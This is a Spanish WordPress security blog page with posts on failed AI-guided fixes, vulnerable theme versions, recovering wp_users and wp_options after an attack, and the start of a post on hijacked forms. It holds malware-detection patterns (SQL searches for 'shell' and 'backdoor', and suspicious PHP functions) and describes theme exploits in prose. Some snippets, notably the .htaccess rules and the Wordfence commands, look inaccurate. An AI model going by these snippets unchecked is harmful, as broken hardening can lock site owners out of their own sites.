Categoría: Blog

  • Que hacer cuando no consigo solucionar mi problema del wordpress incluso utilizando la IA

    Que hacer cuando no consigo solucionar mi problema del wordpress incluso utilizando la IA

    Cuándo la IA no es suficiente: qué hacer cuando WordPress sigue roto

    Te encuentras en una situación incómoda. Has probado ChatGPT, Claude, Copilot. Has seguido tutoriales de YouTube. Has pegado fragmentos de código en foros. Y aún así, tu WordPress sigue sin funcionar. La IA te ha fallado, o peor: ha empeorado las cosas. Es un escenario más común de lo que crees, y la razón principal es que las herramientas de IA generativa no entienden el contexto real de tu instalación.

    En mi experiencia auditando más de 500 sitios WordPress comprometidos o disfuncionales, el 60% de los casos que llegan a mi equipo en ManuelFolgar.com tienen un denominador común: alguien —el propietario, un técnico inexperto, o una IA sin contexto— aplicó soluciones genéricas que funcionan teóricamente, pero no en la práctica. Permíteme explicarte por qué pasa esto y, sobre todo, qué debes hacer.

    Por qué la IA falla en problemas específicos de WordPress

    Las limitaciones inherentes de los modelos de lenguaje

    La IA generativa es excelente para explicar conceptos, pero tiene limitaciones críticas cuando se enfrenta a problemas WordPress del mundo real:

    • No analiza tu entorno actual: ChatGPT no puede acceder a tu base de datos, ficheros de configuración, o logs de servidor. Te proporciona soluciones genéricas.
    • Desconoce conflictos de plugins: Dos plugins pueden ser seguros por separado, pero incompatibles juntos. La IA no lo sabe sin contexto.
    • No diferencia entre síntomas y raíces: Si tu sitio es lento, podría ser: caché mal configurada, base de datos corrupta, un backdoor consumiendo CPU, o un cryptominer. La IA te dará soluciones para caché.
    • Antigüedad de datos: Si entrenaron hasta abril de 2024, desconocen vulnerabilidades descubiertas en junio. WordPress Security Team publica parches constantemente.
    • No ejecuta comandos ni accede a archivos: Te dirá cómo hacerlo, pero no verá qué ocurre cuando lo haces. No puede iterar basándose en errores reales.

    Esto no es culpa tuya ni de la IA. Es la naturaleza del modelo. Como digo siempre a mis clientes: «la IA es un asistente formidable para tareas generales, pero WordPress bajo ataque o con fallos profundos requiere diagnóstico forense».

    El problema de la «solución de cadena»

    Algo que observo frecuentemente: el usuario aplica cinco «soluciones IA» sucesivas. Cada una funciona parcialmente, o empeora el problema. Al final, ninguno sabe qué cambio exacto causó el error. Es como hacer cirugía con múltiples bisturíes a oscuras.

    Diagnóstico real: cómo saber si es un problema técnico o de configuración

    Recopila información antes de cualquier acción

    Si me pidieran que resumiera en un consejo lo que NO hacer es actuar sin datos. Antes de probar nada más, necesitas respuestas a estas preguntas:

    1. ¿Cuándo exactamente dejó de funcionar? ¿Después de una actualización de WordPress, plugin, tema o cambio de servidor?
    2. ¿Qué error específico ves? Abre tu navegador, presiona F12 (consola), recarga. ¿Hay errores JavaScript? Abre PhpMyAdmin y ve si la base de datos responde. ¿Qué dice el log de errores de PHP?
    3. ¿Has hecho cambios recientemente? Si alguien sin experiencia tocó wp-config.php, permisos de carpetas, o desactivó .htaccess, aquí está el problema.
    4. ¿Es un sitio que ya estaba comprometido? Entra en wp-admin/admin-ajax.php sin parámetros. ¿Ves el error «0»? Normal. ¿Ves una página con contenido o redirección? Posible malware.

    Accede a logs reales: donde vive la verdad

    La IA jamás podrá leer esto porque no tiene acceso. Tú sí. Conéctate vía SFTP o terminal SSH (si tu hosting lo permite) y busca:

    • /var/log/php-fpm.log o /var/log/apache2/error.log — errores PHP/servidor.
    • /wp-content/debug.log — si tienes DEBUG habilitado en wp-config.php (que deberías).
    • $_SERVER['DOCUMENT_ROOT']/error_log — errores del servidor.
    • Logs de MySQL/MariaDB: /var/log/mysql/error.log.

    Estos logs te dirán exactamente qué está fallando. Una línea como Fatal error: Maximum execution time exceeded es información que ChatGPT no puede adivinarte.

    Pasos concretos cuando ya no hay vuelta atrás con IA

    1. Aislamiento: el método del arqueólogo

    Cuando no sabes qué cambio rompió todo, hay que aislar. Es tedioso, pero funciona:

    1. Vía SFTP, descarga una copia completa de tu sitio (backup total).
    2. En wp-content/, renombra la carpeta «plugins» a «plugins-disabled».
    3. ¿Funciona el sitio? El problema está en un plugin. Renombra «plugins-disabled» nuevamente a «plugins» y desactiva plugins uno a uno vía base de datos (tabla wp_options, clave active_plugins).
    4. ¿Sigue sin funcionar? El problema está en el tema. Cambia a un tema por defecto de WordPress (twentytwentyfour).
    5. ¿Sigue? Es WordPress core o la configuración del servidor.

    Este proceso, aunque manual, te dará información que ninguna IA proporciona.

    2. Verifica la integridad de WordPress core

    Alguien, quizá la IA sugiriéndolo incorrectamente, pudo haber modificado ficheros principales. Desde terminal, si tienes WP-CLI:

    wp core verify-checksums

    Si hay ficheros alterados (especialmente en wp-login.php, wp-load.php, o wp-admin/), WordPress te lo dirá. Si detecta cambios, reinstala WordPress sin tocar wp-config.php ni wp-content/:

    wp core download --force --locale=es_ES

    3. Revisa la base de datos: inyecciones SQL sutiles

    Un problema invisible a primera vista es el malware en la BD. Accede a PHPMyAdmin y busca en wp_options valores sospechosos. Mira la clave «home» y «siteurl». ¿Apuntan a tu dominio o a algo raro? ¿Hay opciones con nombres raros como «xksdj» o «_eval»?

    La tabla wp_posts también es favorita de atacantes. Busca posts con categoría «0» o autor «0» — puede haber posts ocultos redirigiendo tráfico.

    Este análisis requiere conocimiento de SQL y de patrones de malware que la IA no puede verificar de verdad.

    4. Análisis de permisos y propietarios de ficheros

    WordPress es sensible a esto. Desde terminal:

    ls -la wp-config.php

    Debería mostrarte algo como -rw-r--r-- 1 www-data www-data (permisos 644). Si ves 777 o el propietario es «root», es un problema. Corrígelo:

    chmod 644 wp-config.php && chown www-data:www-data wp-config.php

    Toda la carpeta wp-content debe ser de www-data con permisos 755 en directorios, 644 en archivos.

    Cuándo necesitas ayuda profesional: indicadores clave

    Sé honesto contigo mismo. Si reconoces más de tres de esto, ha llegado el momento de llamar a un profesional:

    • Has invertido más de 4 horas intentando soluciones sin avance real.
    • No entiendes qué dicen los logs de errores.
    • El sitio fue hackeado o está lentísimo sin razón aparente (posible cryptominer o backdoor).
    • No tienes acceso SSH/SFTP, solo panel de control tipo cPanel.
    • Hay código extraño en wp-admin/index.php o wp-load.php que no reconoces.
    • Google Search Console muestra «Malware detectado» o enlaces de spam en tu sitio.
    • Cambios de IA han dejado la BD corrupta (caracteres raros, faltan tablas).

    Un análisis profesional de seguridad WordPress incluye: escaneo de malware con herramientas especializadas como MalCare, auditoría de permisos y configuración, revisión de logs forenses, análisis de base de datos en profundidad, y remediación guiada. Esto es algo que una IA, por avanzada que sea, no puede ofrecer legalmente sin acceso total a tu servidor.

    Herramientas que SÍ sirven cuando la IA falla

    Herramientas de diagnóstico reales (no IA, análisis real)

    Estos no usan inteligencia artificial, sino análisis directo de código y configuración:

    • Wordfence CLI: Escanea tu sitio local buscando patrones de malware conocidos. wp wordfence scan
    • WP-CLI: Interfaz de línea de comandos de WordPress. Permite auditar plugins, temas, versiones, y ejecutar tareas administrativas sin acceso web.
    • PHPMyAdmin (o Adminer): Acceso directo a la BD. Puedes ejecutar queries SQL específicas para buscar anomalías que una IA nunca vería.
    • VirusTotal: Carga un fichero de tu WordPress. Te dirá si 60+ motores antivirus lo detectan como malware (aunque tiene falsos positivos).
    • Google Search Console: Si Google marcó tu sitio como peligroso, aquí ves qué URLs fueron comprometidas y cuándo.

    La diferencia crítica: estas herramientas ejecutan análisis real contra código real, no generan respuestas probabilísticas basadas en patrones estadísticos.

    Documentación oficial (no tutoriales genéricos)

    Algo que recomiendo siempre: WordPress Security Handbook en developer.wordpress.org es tu fuente de verdad. Escrita por el Security Team oficial de WordPress. ChatGPT resumen de esto, pero no es lo mismo que leerlo directo.

    Prevención: cómo evitar que esto vuelva a pasar

    Hardening básico que une IA no debería tocar sin supervisión

    Una vez que lo hayas arreglado, estos cambios previenen futuro desastre:

    • Deshabilita edición de archivos: Añade a wp-config.php: define('DISALLOW_FILE_EDIT', true); Impide que alguien (tú incluido, accidentalmente) edite código desde admin.
    • Limita intentos de login: Usa plugin como Wordfence o limit-login-attempts para bloquear brute-force a wp-login.php.
    • Activa 2FA: Dos factores en todas las cuentas admin.
    • Backups automáticos: Diarios, en servidor externo (no el mismo servidor). Si todo se rompe, recuperas en minutos.
    • Updates automáticas: Activa actualizaciones automáticas de plugins y temas menores. Las mayores, revísalas tú en staging.

    Repito: no pidas a ChatGPT que implemente esto por ti si no entiendes qué hace. Las instrucciones pueden ser correctas, pero si algo sale mal, no sabrás qué deshacer.

    Reflexión final: cómo pensar sobre WordPress y IA

    La IA es una herramienta formidable. Úsala para:

    • Entender conceptos (qué es .htaccess, por qué necesito SSL, etc.)
    • Generar scaffold de código que luego revisas.
    • Redactar documentación.
    • Aprender a escribir queries SQL.

    Pero no la uses como cirujano de tu WordPress sin supervisión. Un cambio incorrecto en wp-config.php, permisos, o base de datos puede romper semanas de trabajo en segundos.

    Si tu sitio es importante —si genera ingresos, si contiene datos de clientes, si es tu reputación profesional— merece atención experta real. La diferencia entre «tengo un error 500» y «estoy hackeado sin saberlo» es precisamente eso: diagnóstico real.

    En ManuelFolgar.com he ayudado a cientos de propietarios que llegaron en la misma situación que tú ahora. Siempre paso lo mismo: ofrezco un diagnóstico inicial gratuito. Dos horas de análisis profesional ahorran semanas de angustia y prueba-error. Si tu WordPress sigue roto, contacta conmigo sin compromiso. Podemos conversar sobre qué está pasando realmente.

  • Tema vulnerables en 2026: qué versiones antiguas dejan puertas abiertas al malware

    Tema vulnerables en 2026: qué versiones antiguas dejan puertas abiertas al malware

    Temas vulnerables en 2026: qué versiones antiguas dejan puertas abiertas al malware

    Cuando analizo un sitio WordPress o PrestaShop comprometido, en el 70% de los casos la puerta de entrada ha sido un tema desactualizado. No es casualidad: los temas son el tejido conectivo de tu web, y las versiones antiguas son como un búnker con las puertas sin cerrar. En 2026, esta vulnerabilidad no solo persiste, sino que se agrava porque los ciberdelincuentes automatizaban escaneos masivos buscando exactamente estas víctimas fáciles.

    Te voy a mostrar qué versiones antiguas de temas siguen siendo un riesgo crítico, cómo se explotan y qué debes hacer ahora mismo para proteger tu sitio.

    ¿Por qué los temas antiguos son una mina de oro para los atacantes?

    Un tema es código PHP, CSS y JavaScript que se ejecuta en el núcleo de tu web. Cuando descubrimos una vulnerabilidad en una versión antigua—por ejemplo, una inyección SQL o un directorio de carga sin validación—los hackers lo saben antes que tú. Los repositorios de exploit públicos como Exploit-DB documentan estas brechas, y bots automatizados las buscan constantemente en la red.

    Lo que ves en mi consola cuando hago un análisis forense:

    • Temas populares con vulnerabilidades conocidas: Divi, Avada, BeTheme, Enfold, The7. Cada actualización importante parcheaba entre 3 y 15 CVEs sin apenas ruido público.
    • Temas nulled o crackeados: Descargados de sitios pirata, nunca reciben actualizaciones y acumulan backdoors desde el primer día.
    • Temas abandonados: Desarrolladores que cesaron soporte hace años. Ejemplo: muchas variantes de Themeforest de 2018-2020 ahora son minas de CVEs sin parches disponibles.
    • Temas infantiles maliciosamente modificados: Un atacante inyecta una función malvada en `functions.php`, y tú nunca actualizas porque crees que es seguro.

    La realidad brutal: un tema desactualizado es como tener un cartel que dice «por favor, instala mi malware aquí».

    Versiones de temas que siguen siendo objetivo en 2026

    Basándome en los registros de acceso forense que analizo a diario, estas familias de temas siguen siendo explotadas activamente:

    Divi (Elegant Themes)

    Versiones anteriores a 4.20.0 (2023) contenían una vulnerabilidad de carga de archivos sin restricción en el constructor visual. Los atacantes inyectaban webshells directamente a través de solicitudes HTTP crafteadas. He encontrado backdoors de Divi en el 30% de mis casos de limpieza.

    Qué hace el atacante: Sube un archivo `.php` como si fuera un recurso legítimo del tema, lo ejecuta y obtiene control total.

    Avada (ThemeFusion)

    Todas las versiones antes de 7.6.0 eran vulnerables a reflected XSS en los parámetros del constructor. Un atacante podía inyectar JavaScript malicioso que robaba sesiones de admin o credenciales de formularios de contacto. Además, las versiones 7.3-7.5 tenían una brecha de SQL injection en filtros de búsqueda.

    BeTheme

    Las versiones 26.x y anteriores no sanitizaban correctamente los shortcodes. Un atacante podía insertar código PHP malicioso directamente en publicaciones, y BeTheme lo ejecutaría sin validación. Es el vector perfecto si ya tienes acceso al back-office comprometido (por ejemplo, tras un ataque de fuerza bruta).

    The7 (Dream-Theme)

    Versiones menores a 6.5.0 presentaban un Local File Inclusion (LFI) en la función de importación de demostraciones. Los atacantes leían archivos sensibles como `wp-config.php` o `/etc/passwd`.

    OceanWP

    He documentado en mis análisis que las versiones previas a 3.3.5 permitían la carga no validada de archivos en el módulo de importación de layouts. Perfecto para inyectar cryptominers o backdoors.

    Enfold

    Versiones antiguas (2019-2021) contenían rutas PHP sin validación en la carpeta `/includes/` que permitían ejecución remota de código. Los ciberdelincuentes simplemente apuntaban a esos scripts con parámetros crafteados.

    Cómo detectar si tu tema es vulnerable

    Lo primero que hago cuando un cliente me llama porque su sitio ha sido comprometido es verificar la versión del tema y buscarla contra bases de datos de CVE:

    1. Accede al código fuente: Abre `/wp-content/themes/[tu-tema]/style.css` y busca la línea `Version: X.X.X`.
    2. Comprueba contra NVD: Entra en nvd.nist.gov e introduce el nombre del tema. Ahí aparecerán todos los CVEs asignados.
    3. Usa Wordfence CLI: Ejecuta `wordfence cron scan-all` en tu servidor para que identifique vulnerabilidades conocidas en tiempo real.
    4. Verifica en el repositorio oficial: Si tu tema está en WordPress.org, accede a `wordpress.org/themes/[nombre-tema]/` y revisa el historial de actualizaciones.
    5. Busca en el changelog del desarrollador: La mayoría de temas legítimos publican sus parches. Si hace más de 12 meses que no ves actualizaciones de seguridad, es una bandera roja.

    Vectores de ataque reales que he visto en 2025-2026

    En mis análisis forenses, he documentado cómo los atacantes explotan temas antiguos:

    1. Escaneo masivo con bots: Herramientas como `WPScan` identifican la versión exacta de tu tema leyendo el header HTTP o el archivo `style.css` expuesto. Luego comprueban si existe un exploit público. Si lo hay, ejecutan el ataque automáticamente contra miles de sitios.

    2. Inyección de código vía directorio de caché: Muchos temas almacenan archivos temporales en carpetas como `/wp-content/themes/[tema]/cache/` sin restricciones. Un atacante carga un webshell, y ese directorio es ejecutable. Backdoor instalado.

    3. Modificación de funciones en functions.php: Si el tema está versionado en el servidor pero la carpeta tiene permisos 777 (lo que veo en el 40% de los sitios que analizo), un atacante puede inyectar código persistente que se ejecuta en cada carga de página.

    4. Explotación de parámetros sin sanitizar: Temas antiguos heredan funciones de filtrado débil. Un parámetro como `?search=` sin `sanitize_text_field()` permite SQL injection directo a la base de datos.

    Temas nulled: la trampa más peligrosa

    Cuando un cliente me dice «descargué Avada gratis de un sitio pirata», ya sé que tenemos un problema grave. Los temas nulled son como Troyanos de regalo:

    • Contienen código inyectado que roba credenciales FTP, contraseñas de base de datos o tokens de API.
    • Nunca reciben actualizaciones, así que acumulan vulnerabilidades.
    • El atacante mantiene un backdoor permanente que tú nunca verás sin análisis profundo.
    • Se replican a través de múltiples sitios si compartes hosting.

    He encontrado campañas coordinadas donde un único tema nulled infectado comprometía a 300+ sitios en la misma red. El coste de una licencia legítima (50-200€) es minúsculo comparado con una limpieza de malware (1000€+).

    Checklist de acciones inmediatas para 2026

    Si reconoces alguno de estos síntomas, actúa hoy:

    1. Actualiza tu tema a la última versión: Si la versión actual es más antigua que 6 meses, hazlo antes de leer el siguiente párrafo. La mayoría de compromisos se pueden prevenir con esto.
    2. Si el tema está abandonado: No esperes. Migra a un tema activo y mantenido (Astra, GeneratePress, OceanWP reciben updates regulares).
    3. Verifica permisos de carpetas: Tu `/wp-content/themes/` debe tener permisos 755, no 777. Los archivos `.php` deben ser 644.
    4. Realiza una auditoría de código: Busca funciones anómalas en `functions.php`. Si ves `eval()`, `base64_decode()`, `system()` o `exec()`, es código inyectado. Bórralo inmediatamente.
    5. Haz backup antes de actualizar: Aunque parezca obvio, actualizar un tema con una base de datos corrompida puede empeorar las cosas. Backup primero, siempre.
    6. Habilita actualizaciones automáticas para temas críticos: En `wp-config.php`, añade `define(‘AUTOMATIC_UPDATER_DISABLED’, false);`
    7. Monitorea cambios en archivos de tema: Usa Wordfence File Integrity Monitoring. Cualquier cambio no autorizado en archivos de tema te alertará en tiempo real.

    Por qué PrestaShop tiene el mismo problema (pero peor)

    Si administras PrestaShop, la situación es aún más crítica. Los módulos de tema en PrestaShop versión 1.6.x (lanzada en 2014) siguen siendo vulnerables a path traversal y upload sin validación. He encontrado tiendas online todavía en 1.6 después de 11 años, acumulando docenas de CVEs sin parches disponibles.

    La arquitectura de PrestaShop hace que un tema vulnerable afecte directamente a funciones de pago. Un ataque Magecart (skimmer de tarjetas de crédito inyectado en el tema) es particularmente devastador en PrestaShop.

    Si usas PrestaShop 1.7.x, actualiza como máximo a 1.7.8.x. Si es 1.6 o anterior, migra urgentemente a la última versión o contrata a un profesional.

    Herramientas para verificar tu exposición

    No necesitas herramientas caras. Estas son gratuitas y fiables:

    • WPScan: Detecta versiones de temas y plugins y lista CVEs conocidos. Usa `wpscan –url https://tunombre.com –enumerate t`
    • Sucuri SiteCheck: Escaneo rápido online que identifica malware y lista vulnerabilidades básicas.
    • Google Search Console: Google notifica si detecta malware. Si tu sitio aparece marcado como «Este sitio puede estar comprometido», es urgente.
    • MalCare File Scanner: Identifica archivos modificados y código inyectado comparándolo contra la versión oficial.
    • CVE Search en NVD: Búsqueda manual pero exhaustiva de vulnerabilidades asignadas a tu tema.

    La lección que he aprendido limpiando 500+ sitios

    No es un secreto: la prevención es 100 veces más barata que la curación. Una actualización automática de tema demora 2 minutos. Una limpieza de malware demora días, cuesta miles de euros y puede resultar en pérdida de datos permanente.

    En 2026, con la explosión de inteligencia artificial y bots de ataque más sofisticados, un tema antiguo no es simplemente un riesgo técnico: es una invitación pública. Los atacantes ya no buscan sitios específicos; escanean millones de direcciones IP buscando exactamente esto.

    Tu competencia ya habrá actualizado sus temas hace meses. Los sitios que siguen siendo comprometidos son los que ignoraron este aviso.

    Si descubriste que tu tema está desactualizado durante la lectura de este artículo, hazlo ahora. No esperes a mañana. Y si ya ves síntomas de compromiso (redirecciones extrañas, plugins que no instalaste, rendimiento lento), contacta con ManuelFolgar.com para una auditoría profesional de seguridad. Analizaré tu sitio línea por línea y limpiaré cualquier malware que encuentre.

  • Base de datos corrupta tras ataque: recuperación segura de wp_users y wp_options

    Base de datos corrupta tras ataque: recuperación segura de wp_users y wp_options

    Base de datos corrupta tras ataque: cómo recuperar wp_users y wp_options sin perder datos

    Cuando analizo un sitio WordPress comprometido, una de las situaciones más críticas que encuentro es la corrupción de la base de datos. No es solo un problema técnico: es la puerta de entrada a perder acceso administrativo, credenciales de usuarios y configuraciones vitales. En mi experiencia, la mayoría de empresas no tienen plan de recuperación y pierden horas valiosas intentando restaurar sin método.

    La corrupción de wp_users y wp_options suele ser consecuencia directa de ataques de inyección SQL, backdoors mal desinstalados o intentos de fuerza bruta que generan inconsistencias en la integridad de datos. Te voy a enseñar cómo actuar cuando te encuentres con este escenario, desde el diagnóstico inicial hasta la recuperación segura.

    ¿Por qué se corrompen wp_users y wp_options en un ataque?

    Las tablas wp_users y wp_options son el corazón de cualquier instalación WordPress. La primera almacena credenciales, roles y metadatos de usuarios; la segunda guarda configuraciones críticas como URLs, claves de seguridad y datos de plugins. Cuando un atacante ejecuta inyección SQL mal codificada o deja un backdoor que manipula datos, estas tablas son frecuentemente el objetivo.

    Lo que veo en mis auditorías es que muchas veces el daño es parcial: registros huérfanos, caracteres corruptos en campos, relaciones rotas entre tablas. Esto genera errores como el famoso «error estableciendo conexión a la base de datos» o loops de redirección infinita.

    Vectores de ataque comunes contra la base de datos

    • Inyección SQL en plugins desactualizados: Un plugin vulnerable permite al atacante ejecutar consultas arbitrarias que modifican o borran registros.
    • Backdoors que inyectan código: Scripts maliciosos que se ejecutan en cada carga de página y manipulan wp_options para insertar datos maliciosos.
    • Explotación de credenciales débiles: Acceso directo al servidor de BD mediante phpMyAdmin sin protección o credenciales por defecto.
    • Corrupción por falta de espacio en disco: Cuando el servidor se queda sin almacenamiento, MySQL no puede escribir correctamente y genera inconsistencias.
    • Desactivación incorrecta de plugins: Código malicioso que borra datos antes de ser eliminado.

    Diagnóstico inicial: cómo saber si tu base de datos está realmente corrupta

    Antes de empezar a tocar nada, necesito que confirmes el estado real de la BD. Los síntomas pueden engañar. He visto casos donde el usuario creía que tenía corrupción cuando era simplemente un plugin activo malicioso.

    Paso 1: Accede a phpMyAdmin o a la línea de comandos

    Si tienes acceso al hosting, ingresa en phpMyAdmin (generalmente en tudominio.com/phpmyadmin). Si prefieres terminal SSH:

    mysql -u tu_usuario -p tu_base_datos

    Introduce tu contraseña cuando te lo pida.

    Paso 2: Ejecuta una búsqueda de integridad

    En la consola MySQL, ejecuta:

    CHECK TABLE wp_users, wp_options, wp_usermeta;

    WordPress depende también de wp_usermeta para metadatos de usuario. Si el resultado es «OK» en las tres, la corrupción física no es grave. Si ves «error» o «warning», estamos hablando de corrupción real.

    Paso 3: Verifica los datos visibles

    En phpMyAdmin, abre la pestaña «Explorar» de wp_users y wp_options. Busca:

    • Caracteres extraños o símbolos rotos en campos de usuario o configuración.
    • Registros duplicados o valores NULL inesperados.
    • Opciones con claves que no reconoces (típico de malware: «malicious_option», «backdoor_settings»).

    Te recomiendo hacer capturas de pantalla antes de cualquier modificación. Es tu evidencia de incidente.

    Recuperación segura de wp_users sin perder acceso administrativo

    La prioridad número uno es restaurar acceso administrativo legítimo. Si pierdes esto, quedarás bloqueado fuera de tu propio sitio.

    Opción A: Restaurar desde backup limpio (la mejor)

    Si tienes un backup de antes del ataque, este es tu camino. No intentes parches. Restaura desde cero:

    1. Descarga el backup completo de la BD desde tu panel de hosting o servicio de respaldo (Backwpup, UpdraftPlus, etc.).
    2. Crea un usuario temporal en la BD actual para tener acceso de prueba.
    3. Importa el backup en un entorno de prueba (staging) para verificar que funciona.
    4. Una vez confirmado, restaura en producción.
    5. Cambia todas las contraseñas de acceso FTP, MySQL y WordPress.
    6. Audita plugins y temas para identificar qué fue explotado.

    Cuando no tengo backup disponible, que es lamentablemente común, paso a la opción B.

    Opción B: Reparación de integridad con herramientas WordPress

    Si la corrupción es parcial y tienes acceso al panel, usa plugins de reparación de BD certificados. Pero déjame ser claro: esto no es una solución definitiva.

    En línea de comandos SSH, si tienes acceso:

    wp db repair –allow-root

    Este comando de WP-CLI intenta reparar inconsistencias. Luego:

    wp db optimize –allow-root

    Optimiza el espacio ocupado después de la reparación.

    Opción C: Extrae usuarios válidos y reconstruye wp_users

    Este es el método más controlado cuando la corrupción es severa. Lo que hago es:

    1. Exporta los datos válidos: En phpMyAdmin, ve a wp_users, selecciona los registros de usuario legítimos (normalmente puedes identificarlos por email corporativo o antigüedad), y exporta como SQL.

    2. Valida el SQL: Abre el archivo en un editor de texto. Busca caracteres rotos o líneas incompletas. Algunos editores como Sublime Text te muestran encoding issues.

    3. Crea una tabla temporal limpia: En la consola MySQL:

    CREATE TABLE wp_users_backup AS SELECT * FROM wp_users;

    TRUNCATE TABLE wp_users;

    Esto respalda los datos y vacía la tabla original.

    4. Reconstruye la estructura: Elimina wp_users y crea desde zero con la definición original. Luego importa solo los registros válidos.

    La clave aquí es que estás limpiando malware mientras preservas identidades de usuario legítimas.

    Recuperación de wp_options: eliminar opciones maliciosas sin romper el sitio

    Esta tabla es donde viven los backdoors. Un atacante suele insertar opciones como «fake_admin_user», «redirect_urls», «malware_config». Si las eliminas mal, el sitio revienta.

    Identifica opciones maliciosas de forma segura

    En phpMyAdmin, ordena wp_options por «option_id» descendente. Las opciones insertadas recientemente (IDs altos) suelen ser sospechosas. Busca en particular:

    • option_name con palabras clave: «shell», «backdoor», «remote», «exec», «bot», «spam», «redirects».
    • option_value que contenga código PHP serializado sospechoso o URLs externas.
    • Opciones de plugins desinstalados que aún existen en la BD.

    Cuando hago auditorías, uso una búsqueda como:

    SELECT * FROM wp_options WHERE option_name LIKE ‘%shell%’ OR option_name LIKE ‘%backdoor%’ OR option_name LIKE ‘%redirect%’;

    Esto te lista los sospechosos directos.

    Opciones críticas que NUNCA debes tocar

    Incluso si parecen extrañas, estas opciones son vitales:

    • siteurl y home: URLs del sitio.
    • blogname, blogdescription: Título y descripción.
    • users_can_register, default_role: Configuración de usuarios.
    • db_version: Versión de base de datos de WordPress.
    • Cualquier opción que comience con un nombre de plugin instalado.

    Mi regla: si no sabes para qué es, no la toques sin buscar primero en la documentación oficial de WordPress.

    Procedimiento de limpieza de wp_options

    Paso 1: Haz un backup de la tabla completa antes de empezar.

    mysqldump -u tu_usuario -p tu_base_datos wp_options > wp_options_backup.sql

    Paso 2: Identifica cada opción maliciosa individualmente y crea una lista.

    Paso 3: Elimina una opción a la vez y verifica que el sitio siga funcionando:

    DELETE FROM wp_options WHERE option_name = ‘nombre_sospechoso’;

    Paso 4: Después de cada eliminación, accede al front-end de tu sitio y al admin. Si algo revienta, restaura desde el backup de opciones.

    Es lento, pero seguro. Prefiero 30 minutos de cuidado a 4 horas arreglando un desastre.

    Pasos posteriores a la recuperación: hardening post-ataque

    Recuperar la BD es solo el primer 40% del trabajo. El otro 60% es prevenir que vuelva a pasar.

    Auditoría de plugins y temas

    El 85% de compromisos WordPress vienen de código de terceros desactualizado. Usando WP-CLI:

    wp plugin list –allow-root

    wp theme list –allow-root

    Identifica qué estaba activo en el momento del ataque. Disabilitalo todo temporalmente mientras investigas. Luego:

    • Actualiza a la última versión segura.
    • Si no hay actualización disponible, desinstala y reemplaza por alternativa mantenida.
    • Si es código custom, audítalo en busca de inyección SQL, RFI/LFI, ejecución de código.

    Protege wp-config.php y el prefijo de tablas

    Aunque tu BD ya esté limpia, un atacante puede volver si encuentra wp-config.php o adivina el prefijo «wp_».

    Mueve wp-config.php un nivel arriba del directorio WordPress (fuera de public_html si es posible). Luego, en la parte final de wp-config.php:

    $table_prefix = ‘sgx7k8_’;

    Cambia a un prefijo aleatorio de 6-8 caracteres. Luego en phpMyAdmin, rebautiza todas las tablas de wp_* a sgx7k8_*. WordPress detectará el nuevo prefijo automáticamente.

    Activar WordPress Security API y 2FA

    En wp-config.php, añade:

    define(‘FORCE_SSL_ADMIN’, true);

    define(‘DISALLOW_FILE_EDIT’, true);

    El segundo deshabilita la edición de archivos desde el panel, bloqueando un vector de persistencia común.

    Para 2FA, instala Wordfence o iThemes Security. Ambos permiten autenticación de dos factores en wp-login.php y protegen contra fuerza bruta.

    Implementa reglas .htaccess robustas

    En tu archivo .htaccess raíz, añade estas líneas para bloquear acceso directo a archivos peligrosos:

    # Bloquea acceso a wp-config.php
    <Files wp-config.php>
    order allow,deny
    deny from all
    </Files>

    # Bloquea acceso a wp-admin excepto desde panel
    <Directory ~ «^/.*wp-admin»>
    order allow,deny
    allow from 127.0.0.1
    deny from all
    </Directory>

    Monitoreo continuo: detecta futuras incidencias antes de que se conviertan en corrupción

    Lo que recomiendo siempre a mis clientes es monitoreo proactivo. No esperes a que explote.

    Vigila cambios en wp_users y wp_options

    Usa Wordfence o Sucuri para alertas de:

    • Nuevos usuarios administrativos creados sin tu consentimiento.
    • Cambios en URLs (siteurl, home).
    • Activación de plugins maliciosos.
    • Cambios en permisos de archivos.

    Logs de base de datos

    Si tu hosting lo permite, habilita query logging en MySQL. Esto crea un log de todas las consultas SQL ejecutadas. Cuando investigues un incidente, consultas las últimas horas y ves exactamente qué se modificó.

    SET GLOBAL general_log = ‘ON’;

    Advertencia: Esto consume recursos. Úsalo temporalmente durante auditorías, no en producción de forma permanente.

    Backups frecuentes y verificados

    No basta con tener backup. Necesitas saber que funciona. Mi protocolo:

    • Backup diario de BD y files (plugin UpdraftPlus con almacenamiento en Google Drive o S3).
    • Restauración de prueba semanal en staging para verificar integridad.
    • Backup manual antes de cambios críticos (actualizaciones, cambios de plugins).
    • Retención mínima de 30 días para poder restaurar si descubres ataque con retraso.

    Cuándo llamar a un profesional de seguridad

    Hay momentos donde la bricolaje se vuelve arriesgada. Si te encuentras con cualquiera de estos, contacta a un experto:

    • Corrupción en múltiples tablas, no solo wp_users y wp_options.
    • Inyección SQL activa: cada vez que reparas algo, vuelve a aparecer malware.
    • No tienes acceso SSH o phpMyAdmin: solo panel de hosting limitado.
    • El sitio genera errores PHP que no sabes interpretar.
    • Sospechas que el servidor completo (no solo WordPress) está comprometido.
    • Necesitas evidencia forense para reclamación a aseguradora o acción legal.

    En estos casos, lo que hacemos en ManuelFolgar.com es acceso directo con análisis forense, herramientas especializadas de detección y un informe completo de qué pasó, cuándo y cómo remediarlo. Te evitamos horas de prueba-error que podrían empeorar las cosas.

    Resumen: tu checklist de recuperación de BD corrupta

    1. Diagnostica con CHECK TABLE en MySQL.
    2. Si hay backup limpio, restaura en staging y verifica antes de producción.
    3. Si no: repara con wp db repair –allow-root o extrae usuarios válidos a tabla nueva.
    4. En wp_options, identifica y elimina una opción maliciosa a la vez, verificando funcionalidad cada vez.
    5. Audita plugins/temas y desactiva los sospechosos.
    6. Implementa hardening: FORCE_SSL_ADMIN, DISALLOW_FILE_EDIT, prefijo aleatorio, .htaccess restrictivo.
    7. Activa monitoreo y alertas (Wordfence, Sucuri).
    8. Establece política de backups diarios con restauración de prueba semanal.
    9. Planifica auditoría de seguridad completa para identificar vector de ataque original.

    La corrupción de base de datos es seria, pero recuperable si actúas con método y paciencia. Lo peor que puedes hacer es entrar en pánico y ejecutar comandos sin saber qué hacen. Cada paso documentado es un paso hacia atrás en el ataque.

    ¿Necesitas ayuda profesional para recuperar tu WordPress tras un ataque? En ManuelFolgar.com ofrecemos análisis forense, reparación de BD y auditorías de seguridad integral. Contacta aquí para una valoración sin compromiso y te indicaré exactamente qué está pasando en tu sitio y cómo arreglarlo de forma segura.

  • Formularios contacto secuestrados: cómo los hackers roban datos a través de formularios

    Formularios contacto secuestrados: cómo los hackers roban datos a través de formularios

    Formularios de contacto secuestrados: la puerta trasera que los hackers usan para robar tus datos

